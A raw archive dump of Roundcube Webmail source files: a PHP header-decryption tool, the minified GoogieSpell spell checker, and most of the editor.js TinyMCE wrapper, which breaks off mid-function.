 +-----------------------------------------------------------------------+
*/

/**
 * If http_received_header_encrypt is configured, the IP address and the
 * host name of the added Received: header is encrypted with 3DES, to
 * protect information that some could consider sensitive, yet their
 * availability is a must in some circumstances.
 *
 * Such an encrypted Received: header might look like:
 *
 * Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
 *  [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
 *  with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
 *
 * In this example, the two encrypted components are the sender host name
 * (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
 * address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
 *
 * Using this tool, they can be decrypted into plain text:
 *
 * $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
 * > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
 * 84.3.187.208
 * 5403BBD0.catv.pool.telekom.hu
 * $
 *
 * Thus it is known that this particular message was sent by 84.3.187.208,
 * having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
 *
 * If (most likely binary) junk is shown, then
 *  - either the encryption password has, between the time the mail was sent
 *    and 'now', changed, or
 *  - you are dealing with counterfeit header data.
 */

define('INSTALL_PATH', realpath(__DIR__ .'/..') . '/');

require INSTALL_PATH . 'program/include/clisetup.php';

if ($argc < 2) {
    die("Usage: " . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}

$RCMAIL = rcube::get_instance();

for ($i = 1; $i < $argc; $i++) {
    printf("%s\n", $RCMAIL->decrypt($argv[$i]));
};
PK
h�\z
Iy�E�Eprogram/js/googiespell.min.jsnu�[���/**
 * Roundcube SpellCheck script
 *
 * jQuery'fied spell checker based on GoogieSpell 4.0
 * (which was published under GPL "version 2 or any later version")
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (C) 2006 Amir Salihefendic
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author 4mir Salihefendic <amix@amix.dk>
 * @author Aleksander Machniak - <alec [at] alec.pl>
 */
var GOOGIE_CUR_LANG,GOOGIE_DEFAULT_LANG="en";function GoogieSpell(t,e,i){var s=this,r=rcmail.get_cookie("language");GOOGIE_CUR_LANG=null!=r?r:GOOGIE_DEFAULT_LANG,this.array_keys=function(t){var e,i=[];for(e in t)i.push([e]);return i},this.img_dir=t,this.server_url=e,this.org_lang_to_word={da:"Dansk",de:"Deutsch",en:"English",es:"Español",fr:"Français",it:"Italiano",nl:"Nederlands",pl:"Polski",pt:"Português",ru:"Русский",fi:"Suomi",sv:"Svenska"},this.lang_to_word=this.org_lang_to_word,this.langlist_codes=this.array_keys(this.lang_to_word),this.show_change_lang_pic=!1,this.change_lang_pic_placement="right",this.report_state_change=!0,this.ta_scroll_top=0,this.el_scroll_top=0,this.lang_chck_spell="Check spelling",this.lang_revert="Revert to",this.lang_close="Close",this.lang_rsm_edt="Resume editing",this.lang_no_error_found="No spelling errors found",this.lang_no_suggestions="No suggestions",this.lang_learn_word="Add to dictionary",this.use_ok_pic=!1,this.show_spell_img=!1,this.decoration=!0,this.use_close_btn=!1,this.edit_layer_dbl_click=!0,this.report_ta_not_found=!0,this.custom_ajax_error=null,this.custom_no_spelling_error=null,this.extra_menu_items=[],this.custom_spellcheck_starter=null,this.main_controller=!0,this.has_dictionary=i,this.lang_state_observer=null,this.spelling_state_observer=null,this.show_menu_observer=null,this.all_errors_fixed_observer=null,this.use_focus=!1,this.focus_link_t=null,this.focus_link_b=null,this.cnt_errors=0,this.cnt_errors_fixed=0,$(document).click(function(t){"1"!=$(t.target).attr("googie_action_btn")&&s.isErrorWindowShown()&&s.hideErrorWindow()}),this.decorateTextarea=function(t){var e,i,s,r,o;this.text_area="string"==typeof t?document.getElementById(t):t,this.text_area?(!this.spell_container&&this.decoration&&(t=document.createElement("table"),e=document.createElement("tbody"),i=document.createElement("tr"),s=document.createElement("td"),r=this.isDefined(this.force_width)?this.force_width:this.text_area.offsetWidth,o=this.isDefined(this.force_height)?this.force_height:16,i.appendChild(s),e.appendChild(i),$(t).append(e).insertBefore(this.text_area).width("100%").height(o),$(s).height(o).width(r).css("text-align","right"),this.spell_container=s),this.checkSpellingState()):this.report_ta_not_found&&rcmail.alert_dialog("Text area not found")},this.setSpellContainer=function(t){this.spell_container="string"==typeof t?document.getElementById(t):t},this.setLanguages=function(t){this.lang_to_word=t,this.langlist_codes=this.array_keys(t)},this.setCurrentLanguage=function(t){GOOGIE_CUR_LANG=t,rcmail.set_cookie("language",t,!1)},this.setForceWidthHeight=function(t,e){this.force_width=t,this.force_height=e},this.setDecoration=function(t){this.decoration=t},this.dontUseCloseButtons=function(){this.use_close_btn=!1},this.appendNewMenuItem=function(t,e,i){this.extra_menu_items.push([t,e,i])},this.setFocus=function(){try{return this.focus_link_b.focus(),this.focus_link_t.focus(),!0}catch(t){return!1}},this.setStateChanged=function(t){this.state=t,null!=this.spelling_state_observer&&this.report_state_change&&this.spelling_state_observer(t,this)},this.setReportStateChange=function(t){this.report_state_change=t},this.getUrl=function(){return this.server_url+GOOGIE_CUR_LANG},this.escapeSpecial=function(t){return t?t.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;"):""},this.createXMLReq=function(t){return'<?xml version="1.0" encoding="utf-8" ?><spellrequest textalreadyclipped="0" ignoredups="0" ignoredigits="1" ignoreallcaps="1"><text>'+t+"</text></spellrequest>"},this.spellCheck=function(t){this.prepare(t);var t=this.escapeSpecial(this.original_text),e=this;$.ajax({type:"POST",url:this.getUrl(),data:this.createXMLReq(t),dataType:"text",error:function(t){e.custom_ajax_error?e.custom_ajax_error(e):rcmail.alert_dialog("An error was encountered on the server. Please try again later."),e.main_controller&&($(e.spell_span).remove(),e.removeIndicator()),e.checkSpellingState()},success:function(t){e.processData(t),e.results.length||(e.custom_no_spelling_error?e.custom_no_spelling_error(e):e.flashNoSpellingErrorState()),e.removeIndicator()}})},this.learnWord=function(t,e){t=this.escapeSpecial(t.innerHTML);var i=this,t='<?xml version="1.0" encoding="utf-8" ?><learnword><text>'+t+"</text></learnword>";$.ajax({type:"POST",url:this.getUrl(),data:t,dataType:"text",error:function(t){i.custom_ajax_error?i.custom_ajax_error(i):rcmail.alert_dialog("An error was encountered on the server. Please try again later.")},success:function(t){}})},this.prepare=function(t,e){this.cnt_errors_fixed=0,this.cnt_errors=0,this.setStateChanged("checking_spell"),this.original_text="",!e&&this.main_controller&&this.appendIndicator(this.spell_span),this.error_links=[],this.ta_scroll_top=this.text_area.scrollTop,this.ignore=t;e=$(this.text_area);""==e.val()||t?(this.custom_no_spelling_error?this.custom_no_spelling_error(this):this.flashNoSpellingErrorState(),this.removeIndicator()):(t="border-box"==$(e).css("box-sizing")?this.text_area.offsetHeight:$(e).height(),this.createEditLayer(e.width(),t),this.createErrorWindow(),$("body").append(this.error_window),this.main_controller&&$(this.spell_span).off("click"),this.original_text=e.val())},this.parseResult=function(t){var e=/\w+="(\d+|true)"/g,i=/\t/g,s=t.match(/<c[^>]*>[^<]*<\/c>/g),r=[];if(null!=s)for(var o=0,n=s.length;o<n;o++){var a=[];this.errorFound(),a.attrs=[];for(var l,h,c=s[o].match(e),_=0;_<c.length;_++)h=(l=c[_].split(/=/))[1].replace(/"/g,""),a.attrs[l[0]]="true"!=h?parseInt(h):h;a.suggestions=[];for(var u=s[o].replace(/<[^>]*>/g,"").split(i),d=0;d<u.length;d++)""!=u[d]&&a.suggestions.push(u[d]);r.push(a)}return r},this.processData=function(t){this.results=this.parseResult(t),this.results.length&&(this.showErrorsInIframe(),this.resumeEditingState())},this.createErrorWindow=function(){this.error_window=document.createElement("div"),$(this.error_window).addClass("googie_window popupmenu").attr("googie_action_btn","1")},this.isErrorWindowShown=function(){return $(this.error_window).is(":visible")},this.hideErrorWindow=function(){$(this.error_window).hide(),$(this.error_window_iframe).hide()},this.updateOriginalText=function(t,e,i,s){var r=this.original_text.substring(0,t),t=this.original_text.substring(t+e.length),o=i.length-e.length;this.original_text=r+i+t,$(this.text_area).val(this.original_text);for(var n=0,a=this.results.length;n<a;n++)n!=s&&s<n&&(this.results[n].attrs.o+=o)},this.saveOldValue=function(t,e){t.is_changed=!0,t.old_value=e},this.createListSeparator=function(){return $("<li>").html("&nbsp;").attr("googie_action_btn","1").css({cursor:"default","font-size":"3px","border-top":"1px solid #ccc","padding-top":"3px"}).get(0)},this.correctError=function(t,e,i,s){var r=e.innerHTML,i=3==i.nodeType?i.nodeValue:i.innerHTML,o=this.results[t].attrs.o;s&&(s=e.previousSibling.innerHTML,e.previousSibling.innerHTML=s.slice(0,s.length-1),r=" "+r,o--),this.hideErrorWindow(),this.updateOriginalText(o,r,i,t),$(e).html(i).css("color","green").attr("is_corrected",!0),this.results[t].attrs.l=i.length,this.isDefined(e.old_value)||this.saveOldValue(e,r),this.errorFixed()},this.ignoreError=function(t,e){$(t).removeAttr("class").css("color","").off(),this.hideErrorWindow()},this.showErrorWindow=function(r,e){this.show_menu_observer&&this.show_menu_observer(this);var o=this,t=$(r).offset(),n=document.createElement("ul"),i=($(this.error_window).html(""),$(n).addClass("googie_list toolbarmenu").attr("googie_action_btn","1"),this.results[e].suggestions),s=this.results[e].attrs.o;this.results[e].attrs.l;this.has_dictionary&&!$(r).attr("is_corrected")&&(l=$("<a>").text(this.lang_learn_word).addClass("googie_add_to_dict active"),$("<li>").attr("googie_action_btn","1").css("cursor","default").mouseover(o.item_onmouseover).mouseout(o.item_onmouseout).click(function(t){o.learnWord(r,e),o.ignoreError(r,e)}).append(l).appendTo(n));for(var a,l,h=0,c=i.length;h<c;h++)l=$("<a>").html(i[h]).addClass("active"),$("<li>").mouseover(this.item_onmouseover).mouseout(this.item_onmouseout).click(function(t){o.correctError(e,r,t.target.firstChild)}).append(l).appendTo(n);r.is_changed&&r.innerHTML!=r.old_value&&(a=r.old_value,l=$("<a>").addClass("googie_list_revert active").html(this.lang_revert+" "+a),$("<li>").mouseover(this.item_onmouseover).mouseout(this.item_onmouseout).click(function(t){o.updateOriginalText(s,r.innerHTML,a,e),$(r).removeAttr("is_corrected").css("color","#b91414").html(a),o.hideErrorWindow()}).append(l).appendTo(n));function _(){return""!=d.value&&(o.isDefined(r.old_value)||o.saveOldValue(r,r.innerHTML),o.updateOriginalText(s,r.innerHTML,d.value,e),$(r).attr("is_corrected",!0).css("color","green").text(d.value),o.hideErrorWindow()),!1}var u=document.createElement("li"),d=document.createElement("input"),g=document.createElement("button"),p=document.createElement("form"),m=($(d).width(120).val($(r).text()).attr("googie_action_btn","1"),$(u).css("cursor","default").attr("googie_action_btn","1").on("click",function(){return!1}),this.use_ok_pic?$("<img>").attr("src",this.img_dir+"ok.gif").width(32).height(16).css({cursor:"pointer","margin-left":"2px","margin-right":"2px"}).appendTo(g):$(g).text("OK"),$(g).addClass("mainaction save googie_ok_button btn-sm").click(_),$(p).attr("googie_action_btn","1").css({cursor:"default","white-space":"nowrap"}).submit(_).append(d).append(g).appendTo(u),n.appendChild(u),0<this.extra_menu_items.length&&n.appendChild(this.createListSeparator()),function(t){var e,i,s;t<o.extra_menu_items.length&&((e=o.extra_menu_items[t])[2]&&!e[2](r,o)||(i=document.createElement("tr"),s=document.createElement("td"),$(s).html(e[0]).mouseover(o.item_onmouseover).mouseout(o.item_onmouseout).click(function(){return e[1](r,o)}),i.appendChild(s),n.appendChild(i)),m(t+1))}),p=(m(0),m=null,this.use_close_btn&&n.appendChild(this.createCloseButton(this.hideErrorWindow)),this.error_window.appendChild(n),rcmail.triggerEvent("googiespell_create",{obj:this.error_window}),$(this.error_window).height()),g=$(this.error_window).width(),u=$(document).height(),f=$(document).width(),u=t.top+p+20<u?t.top+20:t.top-p,p=t.left+g<f?t.left:t.left-g;p<0&&(p=0),u<0&&(u=0),$(this.error_window).css({top:u+"px",left:p+"px",position:"absolute"}).show(),document.all&&!window.opera&&(this.error_window_iframe||(f=$("<iframe>").css({position:"absolute","z-index":-1}),$("body").append(f),this.error_window_iframe=f),$(this.error_window_iframe).css({top:this.error_window.offsetTop,left:this.error_window.offsetLeft,width:this.error_window.offsetWidth,height:this.error_window.offsetHeight}).show())},this.createEditLayer=function(t,e){this.edit_layer=document.createElement("div"),$(this.edit_layer).addClass("googie_edit_layer").attr("id","googie_edit_layer").width(t).height(e),"input"!=this.text_area.nodeName.toLowerCase()||""==$(this.text_area).val()?$(this.edit_layer).css("overflow","auto"):$(this.edit_layer).css("overflow","hidden");var i=this;this.edit_layer_dbl_click&&$(this.edit_layer).dblclick(function(t){var e;return"googie_link"==t.target.className||i.isErrorWindowShown()||(i.resumeEditing(),e=function(){$(i.text_area).focus(),e=null},setTimeout(e,10)),!1})},this.resumeEditing=function(){this.setStateChanged("ready"),this.edit_layer&&(this.el_scroll_top=this.edit_layer.scrollTop),this.hideErrorWindow(),this.main_controller&&$(this.spell_span).removeClass().addClass("googie_no_style"),this.ignore||(this.use_focus&&($(this.focus_link_t).remove(),$(this.focus_link_b).remove()),$(this.edit_layer).remove(),$(this.text_area).show(),null!=this.el_scroll_top&&(this.text_area.scrollTop=this.el_scroll_top)),this.checkSpellingState(!1)},this.createErrorLink=function(t,e){var i=document.createElement("span"),s=this,r=function(t){return s.showErrorWindow(i,e),r=null,!1};return $(i).html(t).addClass("googie_link").click(r).removeAttr("is_corrected").attr({googie_action_btn:"1",g_id:e}),i},this.createPart=function(t){if(" "==t)return document.createTextNode(" ");t=(t=(t=(t=(t=this.escapeSpecial(t)).replace(/\n/g,"<br>")).replace(/    /g," &nbsp;")).replace(/^ /g,"&nbsp;")).replace(/ $/g,"&nbsp;");var e=document.createElement("span");return $(e).html(t),e},this.showErrorsInIframe=function(){var t=document.createElement("div"),e=0,i=this.results;if(0<i.length){for(var s=0,r=i.length;s<r;s++){var o=i[s].attrs.o,n=i[s].attrs.l,a=this.original_text.substring(e,o),a=this.createPart(a),a=(t.appendChild(a),e+=o-e,this.createErrorLink(this.original_text.substr(o,n),s));this.error_links.push(a),t.appendChild(a),e+=n}var l=this.original_text.substr(e,this.original_text.length),l=this.createPart(l);t.appendChild(l)}else t.innerHTML=this.original_text;$(t).css("text-align","left");var h=this;this.custom_item_evaluator&&$.map(this.error_links,function(t){h.custom_item_evaluator(h,t)}),$(this.edit_layer).append(t),$(this.text_area).hide(),$(this.edit_layer).insertBefore(this.text_area),this.use_focus&&(this.focus_link_t=this.createFocusLink("focus_t"),this.focus_link_b=this.createFocusLink("focus_b"),$(this.focus_link_t).insertBefore(this.edit_layer),$(this.focus_link_b).insertAfter(this.edit_layer))},this.deHighlightCurSel=function(){$(this.lang_cur_elm).removeClass().addClass("googie_list_onout")},this.highlightCurSel=function(){null==GOOGIE_CUR_LANG&&(GOOGIE_CUR_LANG=GOOGIE_DEFAULT_LANG);for(var t=0;t<this.lang_elms.length;t++)$(this.lang_elms[t]).attr("googieId")==GOOGIE_CUR_LANG?(this.lang_elms[t].className="googie_list_selected",this.lang_cur_elm=this.lang_elms[t]):this.lang_elms[t].className="googie_list_onout"},this.createSpellDiv=function(){var t=document.createElement("span");return $(t).addClass("googie_check_spelling_link").text(this.lang_chck_spell),this.show_spell_img&&$(t).append(" ").append($("<img>").attr("src",this.img_dir+"spellc.gif")),t},this.flashNoSpellingErrorState=function(t){this.setStateChanged("no_error_found");var e,i,s=this;this.main_controller&&(e=t?function(){t(),s.checkSpellingState()}:function(){s.checkSpellingState()},i=$("<span>").text(this.lang_no_error_found),$(this.switch_lan_pic).hide(),$(this.spell_span).empty().append(i).removeClass().addClass("googie_check_spelling_ok"),setTimeout(e,1e3))},this.resumeEditingState=function(){var t,e;this.setStateChanged("resume_editing"),this.main_controller&&(t=$("<span>").text(this.lang_rsm_edt),e=this,$(this.switch_lan_pic).hide(),$(this.spell_span).empty().off().append(t).click(function(){e.resumeEditing()}).removeClass().addClass("googie_resume_editing"));try{this.edit_layer.scrollTop=this.ta_scroll_top}catch(t){}},this.checkSpellingState=function(t){t&&this.setStateChanged("ready"),this.switch_lan_pic=document.createElement("span");var t=this.createSpellDiv(),e=this;this.custom_spellcheck_starter?$(t).click(function(t){e.custom_spellcheck_starter()}):$(t).click(function(t){e.spellCheck()}),this.main_controller&&("left"==this.change_lang_pic_placement?$(this.spell_container).empty().append(this.switch_lan_pic).append(" ").append(t):$(this.spell_container).empty().append(t).append(" ").append(this.switch_lan_pic)),this.spell_span=t},this.isDefined=function(t){return null!=t},this.errorFixed=function(){this.cnt_errors_fixed++,this.all_errors_fixed_observer&&this.cnt_errors_fixed==this.cnt_errors&&(this.hideErrorWindow(),this.all_errors_fixed_observer())},this.errorFound=function(){this.cnt_errors++},this.createCloseButton=function(t){return this.createButton(this.lang_close,"googie_list_close",t)},this.createButton=function(t,e,i){var s,r=document.createElement("tr"),o=document.createElement("td");return e?(s=document.createElement("span"),$(s).addClass(e).html(t)):s=document.createTextNode(t),$(o).click(i).mouseover(this.item_onmouseover).mouseout(this.item_onmouseout),o.appendChild(s),r.appendChild(o),r},this.removeIndicator=function(t){window.rcmail&&rcmail.set_busy(!1,null,this.rc_msg_id)},this.appendIndicator=function(t){window.rcmail&&(this.rc_msg_id=rcmail.set_busy(!0,"checking"))},this.createFocusLink=function(t){var e=document.createElement("a");return $(e).attr({href:"javascript:;",name:t}),e},this.item_onmouseover=function(t){"googie_list_revert"!=this.className&&"googie_list_close"!=this.className?this.className="googie_list_onhover":this.parentNode.className="googie_list_onhover"},this.item_onmouseout=function(t){"googie_list_revert"!=this.className&&"googie_list_close"!=this.className?this.className="googie_list_onout":this.parentNode.className="googie_list_onout"}}
PK
h�\-����m�mprogram/js/editor.jsnu�[���/**
 * Roundcube editor js library
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Eric Stadtherr <estadtherr@gmail.com>
 * @author Aleksander Machniak <alec@alec.pl>
 */

/**
 * Roundcube Text Editor Widget class
 * @constructor
 */
function rcube_text_editor(config, id)
{
  var ref = this,
    editorElement = $('#' + id),
    abs_url = location.href.replace(/[?#].*$/, '').replace(/\/$/, ''),
    conf = {
      selector: '#' + (editorElement.is('.mce_editor') ? id : 'fake-editor-id'),
      readonly: editorElement.is('[readonly],[disabled]'),
      cache_suffix: 's=5080200',
      theme: 'silver',
      language: config.lang,
      content_css: rcmail.assets_path(config.content_css),
      content_style: config.content_style,
      menubar: false,
      statusbar: false,
      // toolbar_sticky: true, // does not work in scrollable element: https://github.com/tinymce/tinymce/issues/5227
      toolbar_drawer: 'sliding',
      toolbar: 'bold italic underline | alignleft aligncenter alignright alignjustify'
        + ' | fontselect fontsizeselect | forecolor backcolor',
      extended_valid_elements: 'font[face|size|color|style],span[id|class|align|style]',
      fontsize_formats: '8pt 9pt 10pt 11pt 12pt 14pt 18pt 24pt 36pt',
      // Allow style tag, have to be allowed inside body/div/blockquote (#7088)
      valid_children: '+body[style],+blockquote[style],+div[style]',
      relative_urls: false,
      remove_script_host: false,
      convert_urls: false, // #1486944
      image_description: false,
      paste_webkit_styles: "color font-size font-family font-weight background-color",
      automatic_uploads: false, // allows to paste images
      paste_data_images: true,
      // Note: We disable contextmenu options specifically for browser_spellcheck:true.
      //       Otherwise user would have to use Right-Click with CTRL to get to
      //       the browser's spellchecker options. Should you disable browser_spellcheck
      //       you can enable other contextmenu options (by removing these options below).
      browser_spellcheck: true,
      contextmenu: 'spellchecker',
      anchor_bottom: false,
      anchor_top: false,
      file_picker_types: 'image media',
      file_picker_callback: function(callback, value, meta) { ref.file_picker_callback(callback, value, meta); },
      min_height: config.mode == 'identity' ? 100 : 400,
      deprecation_warnings: false
    };

  // register spellchecker for plain text editor
  this.spellcheck_observer = function() {};
  if (config.spellchecker) {
    this.spellchecker = config.spellchecker;
    if (config.spellcheck_observer) {
      this.spellchecker.spelling_state_observer = this.spellcheck_observer = config.spellcheck_observer;
    }
  }

  // Note: must be registered only once (#1490311)
  if (!tinymce.registered_request_token) {
    tinymce.registered_request_token = true;
    tinymce.util.XHR.on('beforeSend', function(e) {
      // secure spellchecker requests with Roundcube token
      e.xhr.setRequestHeader('X-Roundcube-Request', rcmail.env.request_token);
      // A hacky way of setting spellchecker language (there's no API for this in Tiny)
      if (e.settings && e.settings.data)
        e.settings.data = e.settings.data.replace(/^(method=[a-zA-Z]+&lang=)([^&]+)/, '$1' + rcmail.env.spell_lang);
    });
  }

  // minimal editor
  if (config.mode == 'identity' || config.mode == 'response') {
    conf.toolbar += ' | charmap hr link unlink image code $extra';
    $.extend(conf, {
      plugins: 'autolink charmap code hr image link paste tabfocus',
      file_picker_types: 'image'
    });
  }
  // full-featured editor
  else {
    conf.toolbar += ' | bullist numlist outdent indent ltr rtl blockquote'
        + ' | link unlink table | $extra charmap image media | code searchreplace undo redo',
    $.extend(conf, {
      plugins: 'autolink charmap code directionality link lists image media nonbreaking'
        + ' paste table tabfocus searchreplace spellchecker',
      spellchecker_rpc_url: abs_url + '/?_task=utils&_action=spell_html&_remote=1',
      spellchecker_language: rcmail.env.spell_lang
    });
  }

  // add TinyMCE plugins/buttons from Roundcube plugin
  $.each(config.extra_plugins || [], function() {
    if (conf.plugins.indexOf(this) < 0)
      conf.plugins = conf.plugins + ' ' + this;
  });
  $.each(config.extra_buttons || [], function() {
    if (conf.toolbar.indexOf(this) < 0)
      conf.toolbar = conf.toolbar.replace('$extra', '$extra ' + this);
  });

  // disable TinyMCE plugins/buttons from Roundcube plugin
  $.each(config.disabled_plugins || [], function() {
    conf.plugins = conf.plugins.replace(this, '');
  });
  $.each(config.disabled_buttons || [], function() {
    conf.toolbar = conf.toolbar.replace(this, '');
  });

  conf.toolbar = conf.toolbar.replace('$extra', '').replace(/\|\s+\|/g, '|');

  // support external configuration settings e.g. from skin
  if (window.rcmail_editor_settings)
    $.extend(conf, window.rcmail_editor_settings);

  conf.setup = function(ed) {
    ed.on('init', function() { ref.init_callback(ed); });
    // add handler for spellcheck button state update
    ed.on('SpellcheckStart SpellcheckEnd', function(args) {
      ref.spellcheck_active = args.type == 'spellcheckstart';
      ref.spellcheck_observer();
    });
    ed.on('keypress', function() {
      rcmail.compose_type_activity++;
    });
    // make links open on shift-click
    ed.on('click', function(e) {
      var link = $(e.target).closest('a');
      if (link.length && e.shiftKey) {
        window.open(link.get(0).href, '_blank');
        return false;
      }
    });
    ed.on('focus blur', function(e) {
      $(ed.getContainer()).toggleClass('focused');
    });

    if (conf.setup_callback)
      conf.setup_callback(ed);
  };

  rcmail.triggerEvent('editor-init', {config: conf, ref: ref, id: id});

  // textarea identifier
  this.id = id;
  // reference to active editor (if in HTML mode)
  this.editor = null;

  tinymce.init(conf);

  // react to real individual tinyMCE editor init
  this.init_callback = function(editor)
  {
    this.editor = editor;

    // Browsers have performance problems with rendering a lot of content in a textarea.
    // To workaround that we create a separate hidden textarea for the content and copy it
    // to the editor after the page is already loaded (#8108)
    var content, editorContentElement = editorElement.data('html-editor-content-element');
    if (editorContentElement && (content = $('#' + editorContentElement).val())) {
      editor.setContent(content);
      $('#' + editorContentElement).remove();
    }

    if (rcmail.env.action == 'compose') {
      var area = $('#' + this.id),
        height = $('div.tox-toolbar__group', area.parent()).first().height();

      // the editor might be still not fully loaded, making the editing area
      // inaccessible, wait and try again (#1490310)
      if (height > 200 || height > area.height()) {
        return setTimeout(function () { ref.init_callback(editor); }, 300);
      }

      var elem = rcube_find_object('_from'),
        fe = rcmail.env.compose_focus_elem;

      if (elem && elem.type == 'select-one') {
        // insert signature (only for the first time)
        if (!rcmail.env.identities_initialized)
          rcmail.change_identity(elem);

        // Focus previously focused element
        if (fe && fe.id != this.id && fe.nodeName != 'BODY') {
          window.focus(); // for WebKit (#1486674)
          fe.focus();
          rcmail.env.compose_focus_elem = null;
        }
      }
    }

    rcmail.triggerEvent('editor-load', {config: conf, ref: this});

    // set tabIndex and set focus to element that was focused before
    this.tabindex(this.force_focus || (fe && fe.id == this.id));

    // Trigger resize (needed for proper editor resizing in some browsers)
    $(window).resize();
  };

  // set tabIndex on tinymce editor
  this.tabindex = function(focus)
  {
    if (rcmail.env.task == 'mail' && this.editor) {
      var textarea = this.editor.getElement(),
        node = this.editor.getContentAreaContainer().childNodes[0];

      if (textarea && node)
        node.tabIndex = textarea.tabIndex;

      // find :prev and :next elements to get focus when tabbing away
      if (textarea.tabIndex > 0) {
        var x = null,
          tabfocus_elements = [':prev',':next'],
          el = tinymce.DOM.select('*[tabindex='+textarea.tabIndex+']:not(iframe)');

        tinymce.each(el, function(e, i) { if (e.id == ref.id) { x = i; return false; } });
        if (x !== null) {
          if (el[x-1] && el[x-1].id) {
            tabfocus_elements[0] = el[x-1].id;
          }
          if (el[x+1] && el[x+1].id) {
            tabfocus_elements[1] = el[x+1].id;
          }
          this.editor.settings.tabfocus_elements = tabfocus_elements.join(',');
        }
      }

      // ContentEditable reset fixes invisible cursor issue in Firefox < 25
      if (bw.mz && bw.vendver < 25)
        $(this.editor.getBody()).prop('contenteditable', false).prop('contenteditable', true);
    }

    if (focus)
      this.focus();
  };

  // focus the editor
  this.focus = function()
  {
    $(this.editor || ('#' + this.id)).focus();
    this.force_focus = false;
  };

  // Returns current editor mode
  this.is_html = function()
  {
    return !!this.editor;
  };

  // switch html/plain mode
  this.toggle = function(ishtml, noconvert)
  {
    var curr, content, result,
      // these non-printable chars are not removed on text2html and html2text
      // we can use them as temp signature replacement
      sig_mark = "\u0002\u0003",
      input = $('#' + this.id),
      signature = rcmail.env.identity ? rcmail.env.signatures[rcmail.env.identity] : null,
      is_sig = signature && signature.text && signature.text.length > 1;

    // apply spellcheck changes if spell checker is active
    this.spellcheck_stop();

    if (ishtml) {
      content = input.val();

      // replace current text signature with temp mark
      if (is_sig) {
        content = content.replace(/\r\n/, "\n");
        content = content.replace(signature.text.replace(/\r\n/, "\n"), sig_mark);
      }

      var init_editor = function(data) {
        // replace signature mark with html version of the signature
        if (is_sig)
          data = data.replace(sig_mark, '<div id="_rc_sig">' + signature.html + '</div>');

        ref.force_focus = true;
        input.val(data);
        tinymce.execCommand('mceAddEditor', false, ref.id);
      };

      // convert to html
      if (!noconvert) {
        result = rcmail.plain2html(content, init_editor);
      }
      else {
        init_editor(content);
        result = true;
      }
    }
    else if (this.editor) {
      if (is_sig) {
        // get current version of signature, we'll need it in
        // case of html2text conversion abort
        if (curr = this.editor.dom.get('_rc_sig'))
          curr = curr.innerHTML;

        // replace current signature with some non-printable characters
        // we use non-printable characters, because this replacement
        // is visible to the user
        // doing this after getContent() would be hard
        this.editor.dom.setHTML('_rc_sig', sig_mark);
      }

      // get html content
      content = this.editor.getContent();

      var init_plaintext = function(data) {
        tinymce.execCommand('mceRemoveEditor', false, ref.id);
        ref.editor = null;

        // replace signature mark with text version of the signature
        if (is_sig)
          data = data.replace(sig_mark, "\n" + signature.text);

        input.val(data).focus().trigger('input');
        rcmail.set_caret_pos(input.get(0), 0);
      };

      // convert html to text
      if (!noconvert) {
        result = rcmail.html2plain(content, init_plaintext);
      }
      else {
        init_plaintext(input.val());
        result = true;
      }

      // bring back current signature
      if (!result && curr)
        this.editor.dom.setHTML('_rc_sig', curr);
    }

    return result;
  };

  // start spellchecker
  this.spellcheck_start = function()
  {
    if (this.editor) {
      tinymce.execCommand('mceSpellCheck', true);
      this.spellcheck_observer();
    }
    else if (this.spellchecker && this.spellchecker.spellCheck) {
      this.spellchecker.spellCheck();
    }
  };

  // stop spellchecker
  this.spellcheck_stop = function()
  {
    var ed = this.editor;

    if (ed) {
      if (ed.plugins && ed.plugins.spellchecker && this.spellcheck_active) {
        ed.execCommand('mceSpellCheck', false);
        this.spellcheck_observer();
      }
    }
    else if (ed = this.spellchecker) {
      if (ed.state && ed.state != 'ready' && ed.state != 'no_error_found')
        $(ed.spell_span).trigger('click');
    }
  };

  // spellchecker state
  this.spellcheck_state = function()
  {
    var ed;

    if (this.editor)
      return this.spellcheck_active;
    else if ((ed = this.spellchecker) && ed.state)
      return ed.state != 'ready' && ed.state != 'no_error_found';
  };

  // resume spellchecking, highlight provided misspellings without a new ajax request
  this.spellcheck_resume = function(data)
  {
    var ed = this.editor;

    if (ed) {
